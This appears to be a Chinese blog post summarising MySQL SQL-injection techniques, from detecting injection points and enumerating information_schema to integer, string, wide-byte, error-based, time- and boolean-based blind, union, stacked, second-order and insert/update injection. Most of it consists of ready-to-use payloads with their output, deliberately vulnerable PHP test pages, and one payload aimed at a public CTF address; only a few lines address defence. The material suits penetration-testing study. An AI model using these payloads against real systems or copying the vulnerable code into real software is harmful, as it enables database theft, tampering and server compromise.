SQL注入总结
April 2, 2019 WEB安全 访问: 34 次
OWASP TOP 10漏洞---SQL注入
介绍
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
这段话比较官方,简单的来说,通过输出恶意的参数去让服务器执行我们想要执行的sql语句
测试是否有注入点
常用方法就是在参数(如ID等)后面加单引号/双引号/百分号等,若页面 有报错或者是不一样的回显,那么则判断存在SQL注入
另一种是
and 1=1
and 1=2
or 1=1
or 1=2
再判断页面的回显
知识准备
mysql全局变量
mysql中常见的全局变量,查看方法:show GLOBAL VARIABLES; 可以查到很多,我下面列举点常用的
| datadir | /var/lib/mysql/
| port | 3306
| version | 5.6.30-1-log
| user |root
| database |当前所在的数据库
以上的全局变量都可以使用select语句查询到
select user();
select database();
select @version();
默认数据库
在mysql数据库中,默认的数据库有:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
+--------------------+
2 rows in set (0.00 sec)
mysql>
information_schema数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。存储这所有表的信息,表有如下:
mysql> use information_schema
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| INNODB_LOCKS |
| INNODB_TRX |
| INNODB_SYS_DATAFILES |
| INNODB_LOCK_WAITS |
| INNODB_SYS_TABLESTATS |
| INNODB_CMP |
| INNODB_METRICS |
| INNODB_CMP_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMPMEM_RESET |
| INNODB_FT_DELETED |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_INDEXES |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_SYS_FIELDS |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_BUFFER_PAGE |
| INNODB_CMPMEM |
| INNODB_FT_INDEX_TABLE |
| INNODB_FT_BEING_DELETED |
| INNODB_SYS_TABLESPACES |
| INNODB_FT_INDEX_CACHE |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_TABLES |
| INNODB_BUFFER_POOL_STATS |
| INNODB_FT_CONFIG |
+---------------------------------------+
59 rows in set (0.00 sec)
mysql>
目前我在sql注入中用到的只有COLUMNS、TABLES、schemata这两个
COLUMNS表中存储了所有表的字段信息
mysql> select * from columns\G
*************************** 1. row ***************************
TABLE_CATALOG: def
TABLE_SCHEMA: information_schema
TABLE_NAME: CHARACTER_SETS
COLUMN_NAME: CHARACTER_SET_NAME
ORDINAL_POSITION: 1
COLUMN_DEFAULT:
IS_NULLABLE: NO
DATA_TYPE: varchar
CHARACTER_MAXIMUM_LENGTH: 32
CHARACTER_OCTET_LENGTH: 96
NUMERIC_PRECISION: NULL
NUMERIC_SCALE: NULL
DATETIME_PRECISION: NULL
CHARACTER_SET_NAME: utf8
COLLATION_NAME: utf8_general_ci
COLUMN_TYPE: varchar(32)
COLUMN_KEY:
EXTRA:
PRIVILEGES: select
COLUMN_COMMENT:
*************************** 2. row ***************************
TABLE_CATALOG: def
TABLE_SCHEMA: information_schema
TABLE_NAME: CHARACTER_SETS
COLUMN_NAME: DEFAULT_COLLATE_NAME
ORDINAL_POSITION: 2
COLUMN_DEFAULT:
IS_NULLABLE: NO
DATA_TYPE: varchar
CHARACTER_MAXIMUM_LENGTH: 32
CHARACTER_OCTET_LENGTH: 96
NUMERIC_PRECISION: NULL
NUMERIC_SCALE: NULL
DATETIME_PRECISION: NULL
CHARACTER_SET_NAME: utf8
COLLATION_NAME: utf8_general_ci
COLUMN_TYPE: varchar(32)
COLUMN_KEY:
EXTRA:
PRIVILEGES: select
COLUMN_COMMENT:
用到的字段有table_name、table_schema、column_name
TABLES表中存储了数据库中所有标的信息
mysql> select * from tables\G
*************************** 1. row ***************************
TABLE_CATALOG: def
TABLE_SCHEMA: information_schema
TABLE_NAME: CHARACTER_SETS
TABLE_TYPE: SYSTEM VIEW
ENGINE: MEMORY
VERSION: 10
ROW_FORMAT: Fixed
TABLE_ROWS: NULL
AVG_ROW_LENGTH: 384
DATA_LENGTH: 0
MAX_DATA_LENGTH: 16434816
INDEX_LENGTH: 0
DATA_FREE: 0
AUTO_INCREMENT: NULL
CREATE_TIME: 2019-04-01 21:30:19
UPDATE_TIME: NULL
CHECK_TIME: NULL
TABLE_COLLATION: utf8_general_ci
CHECKSUM: NULL
CREATE_OPTIONS: max_rows=43690
TABLE_COMMENT:
*************************** 2. row ***************************
TABLE_CATALOG: def
TABLE_SCHEMA: information_schema
TABLE_NAME: COLLATIONS
TABLE_TYPE: SYSTEM VIEW
ENGINE: MEMORY
VERSION: 10
ROW_FORMAT: Fixed
TABLE_ROWS: NULL
AVG_ROW_LENGTH: 231
DATA_LENGTH: 0
MAX_DATA_LENGTH: 16704765
INDEX_LENGTH: 0
DATA_FREE: 0
AUTO_INCREMENT: NULL
CREATE_TIME: 2019-04-01 21:30:19
UPDATE_TIME: NULL
CHECK_TIME: NULL
TABLE_COLLATION: utf8_general_ci
CHECKSUM: NULL
CREATE_OPTIONS: max_rows=72628
TABLE_COMMENT:
schemata中存储这所有的数据库的信息:
mysql> select * from schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | mysql | latin1 | latin1_swedish_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
3 rows in set (0.00 sec)
mysql>
常用的函数
left(m,n) #从左向右截取字符串m返回前n位
substr(m,1,2) #取字符串m从左面第一位起,2字节唱的字符串
ascii(m) #返回字符m的ASCII码
if(str1,str2,str3) #如果str1正确就执行str2,否则执行str3
sleep(m) #使程序暂停几秒
length(m) #返回字符串m的长度
count(column_name) #返回指定列的值的数目
concat(username,0x23,passwd) #是联合两个字段名
group_concat() #与concat()用法是类似的,优点可以实现一次注出多组数据
注入分类
- 根据字符类型分类
-- 整型注入
-- 字符型注入
-- 宽字节注入 - 根据注入方法分类
-- 报错注入
-- 基于时间的bool盲注
-- 布尔型注入
-- 联合查询注入
-- 堆叠注入
-- 二次注入
-- insert、update等其他语句的注入
注入流程
- 判断是否又注入
-- 在id后加单引号,发现有报错
-- and 1=1 和and 1=2 的页面回显不同 判断是哪种注入方式(没什么技巧,全靠测试)
- 通过information_schema.tables来查表名
- 通过information_schema.columns来查列名
- 通过查出来的表名和列明来查询表中的数据
- 若权限够大,可以向服务器中写木马
整型注入
所谓整型注入就是注入点参数是数字,可以直接注入,不用考虑单双引号闭不闭合的问题
测试代码:
<?php
$conn = mysql_connect("root","root");
if($conn)
{
echo mysql_errno().":".mysql_error();
die("");
}
else
{
mysql_select_db("test");
mysql_query("set names utf8");
}
$id = isset($_GET['id'])?$_GET['id']:1;
$sql = "select * from test_data where id={$id}";
$res = mysql_query($sql);
if($res)
{
$arr = mysql_fetch_row($res);
echo "ID:".$arr['0'];
echo "<br>username:".$arr['1'];
echo "<br>password:".$arr['2'];
}else{
echo mysql_errno().":".mysql_error();
die("");
}
?>
用户可控的参数是$id,id列在数据库中是整数,所以不用加单双引号。那么我们就可以直接接上我们想要执行的sql语句即可
字符型注入
字符型注入就是用户可控的参数在sql语句中是字符串,所以注入的时候就需要先进行闭合字符串所加的单引号或者是双引号
测试代码:(基本同上,只是sql通过字符串来查找)
$username = isset($_GET['username'])?$_GET['username']:"radish";
$sql = "select * from test_data where username='".$username."'";
可以看到$username被带到sql语句中之后会加上单引号,若我们直接注入的话,sql语句是错误的,所以我们就要闭合前面的单双引号,注释后面的单双引号
payload
http://127.0.0.1/1ndex.php?username=1' or '1'='1
http://127.0.0.1/1ndex.php?username=1' or 1=1--+
http://127.0.0.1/1ndex.php?username=1' or 1=1%23
在mysql中,#和“减减空格”是注释的意思
宽字节注入
当数据库的字符集是gbk的时候,并且可控参数用了addslashes、mysql_escape_string等函数的时候,都会在参数中的单引号、双引号、反斜杠、NULL字符前面加上反斜杠来转义
- 前题准备
-- alter table test_data convert to character set GBK
-- header("Content-type:text/html;charset=gbk");
-- mysql_query("set names gbk");
测试代码:
<?php
header("Content-type:text/html;charset=gbk");
$conn = mysql_connect("127.0.0.1","root","root");
mysql_select_db("test");
mysql_query("set names gbk");
$username = isset($_GET['username'])?$_GET['username']:"radish";
$username = addslashes($username);
$sql = "select * from test_data where username='".$username."'";
$res = mysql_query($sql);
if($res)
{
$arr = mysql_fetch_row($res);
echo "ID:".$arr['0'];
echo "<br>username:".$arr['1'];
echo "<br>password:".$arr['2'];
echo "<hr><br>sql: ".$sql;
}else{
echo mysql_errno().":".mysql_error();
die("");
}
?>
当我们的参数加一个单双引号的时候

可以看到参数中的单引号被加了反斜杠转义,现在就要想办法来绕过
在字符集是gbk的时候,一个汉字用两个字节表示,首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),刚好涵盖了转义符号\对应的编码0×5C
那么我们在单双引号前面在多加一个“%df”,这个%df会和反斜杠形成一个字,从而单引号逃逸出来

要注意的是get传参和post传参是不一样的,get在传到服务器之前会转码,post不会,如果注入的时候的post的话,我们就要先对%df进行转码再发送数据包
宽字节注入防御
防御宽字节注入,除了要进行更严格的过滤之外,还需要一个字符集的设置,这个post,get都适用
Mysql_set_charset('gbk',$conn);
过滤的一些函数,这两个函数都是将一些特殊的字符给转义了。从而失去原有的意义
mysql_real_escape_string();
addslashes();
报错注入
报错行注入的前提是在页面上必须得有错误的信息才行,否则为空谈。
注入时需要用到的关键词:
@@basedir -> 返回出mysql的路径
@@version -> 返回mysql的版本
user() -> 返回当前的用户名
database() -> 返回当前使用的库名
and -> &&
or -> ||
-- floor()该函数是向下取整的;
利用方
主键重复:
其实报错注入就是套用一个万能的公式,
select host from user where user = 'root' and (select 1 from (select count(*),concat([执行的sql语句]],floor(rand(0)*2))x from information_schema.tables group by x)a);
以sqli-labs为例子
1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);--+
页面回显
发现user()已经在页面中显示出来
Duplicate entry 'root@localhost1' for key 'group_key'
接下来就继续爆库,爆表等等……
1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=(select database()) limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);--+
结果
Duplicate entry 'referers1' for key 'group_key'
之后修改limit后的值就可以一个一个的爆出来表名,
==报错注入不能使用group_concat()这个函数==
- extractvalue()方式:有两个参数
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的
名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
concat()该函数是将字符串连接起来
利用方式:
and extractvalue(1, payload)
and extractvalue(1, concat(0x7e,(select @@version),0x7e))
payload:
id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e));--+
页面回显:
XPATH syntax error: '~root@localhost~'
爆库:==这个可以用group_concat()函数==
id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),0x7e));--+
结果:
XPATH syntax error: '~emails,referers,uagents,users~'
- updatexml()方式:有三个参数
这个跟extractvalue()有点类似
payload
id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1);--+
页面回显
XPATH syntax error: '~root@localhost~'
然后一步一步的往下进行
- geometrycollection() 方式
payload:
id=1 and geometrycollection((select * from(select * from(select user())a)b));
这种方法在sqli-lab 2中不能行,
在BUGKU中报错注入中能行
payload:
http://103.238.227.13:10088/index.php?id=1%0Aand%0Ageometrycollection((select%0a*%0afrom(select%0a*%0afrom(select%0auser())a)b))
结果:
Illegal non geometric '(select `b`.`user()` from (select 'sql4@localhost' AS `user()` from dual) `b`)' value found during parsing
- 其他的
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
用法和geometrycollection()基本上一样
- exp()方式->这个函数为以e为底的对数函数
值类型超出范围导致报错,在MySQL版本大于等于5.5.5的的时候才能用户
payload:
id=1 and exp(~(select * from(select user())a));
基于时间的布尔盲注
当页面没有回显并且没有报错信息,并且存在sql注入漏洞,那么就可以利用基于时间的盲注
就是通过构造payload来执行sleep()函数,若sql语句是正确的,就可以执行sleep(5)
例如:
http://127.0.0.1/Practice platform/sqli-labs-master/Less-9/index.php?id=1' and if((ascii(substr((select database()),1,1))=115),sleep(5),0);--+
布尔型注入
布尔型注入指的是页面上没有查询的回显,连报错信息都没有,只能通过页面显示正常不正常来判断
这里我直接粘贴payload,原理和上一个差不多
id=1' and length(database())>7;--+ 对的
id=1' and length(database())>8;--+ 错的
id=1' and length(database())=8;--+ 对的 说明数据库名字的长度为8
id=1' and ascii(substr(database(),1,1))>32;--+ 对 说明改字符在32-127之间
id=1' and ascii(substr(database(),1,1))>127;--+ 错
id=1' and ascii(substr(database(),1,1))=115;--+ 成立 说明第一个字符的ascii码值为115 -----s
联合查询注入
使用联合查询的前提是在页面上必须要有显示位
union的使用方法
mysql> select * from test_data where id=1 union select 1,2,3;
+----+----------+-----------+
| id | username | password |
+----+----------+-----------+
| 1 | radish | radish_pw |
| 1 | 2 | 3 |
+----+----------+-----------+
2 rows in set (0.00 sec)
mysql> select * from test_data where id=0 union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql>
可以看出来,第一个条件若查出数据,则会显示两条数据,第二条是union后的select查询的;若第一条不能查询出数据,则只显示第二条是union后的select查询的
堆叠注入
####官方介绍
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
说白了就是用分号可以执行多条语句
eg:
mysql> select * from admin;select 1;
+----------+----------+
| username | password |
+----------+----------+
| admin | admin |
| guest | guest |
| hacker | hacker |
+----------+----------+
3 rows in set (0.00 sec)
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
虽然我们前面提到了堆叠查询可以执行任意的 sql 语句,但是这种注入方式并不是十分的完美的。在我们的 web 系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
二次注入
二次注入漏洞字面上理解可能就是结合两个注入漏洞点实现sql注入的目的,但是这其中还有几个细节需要讲解一下。首先,第一个注入点因为经过过滤处理所以无法触发sql注入漏洞,比如addslashes函数,将单引号等字符转义变成\’。但是存进数据库后,数据又被还原了,也就是反斜杠没了,在这种情况下,如果能发现一个新的注入同时引用了被插入了的数据库数据,就可以实现闭合新发现的注入漏洞引发漏洞。
实例(sql-lab-24):
在这一关中用户可以注册用户,登录之后可以修改本次登录的用户的密码,那么就第二次用到了用户名
用户名直接被带到了update语句中,我们可以根据这个update语句来构造我们想要执行的sql语句,比如说修改admin的密码
注册是用户名:admin'--(空格)
密码随意
然后登录进去后修改密码时的sql语句:
UPDATE users SET PASSWORD='$pass' where username='admin'-- ' and password='$curr_pass'
可以看到成功的注释掉了后面的sql语句,修改的是admin的密码
insert、update等其他语句的注入
比如说:
insert into user(username,password) values('uname','passwd');
在碰到这种注入的时候,就不能通过联合查询进行注入,一般情况下用报错注入,payload如下:
uname=' and extractvalue(1, concat(0x7e,(select @@version),0x7e)) and '1'='1
uname=123' and extractvalue(1, concat(0x7e,(select @@version),0x7e)) and '1'='1&passwd=123
这个payload既闭合了单引号,又可以执行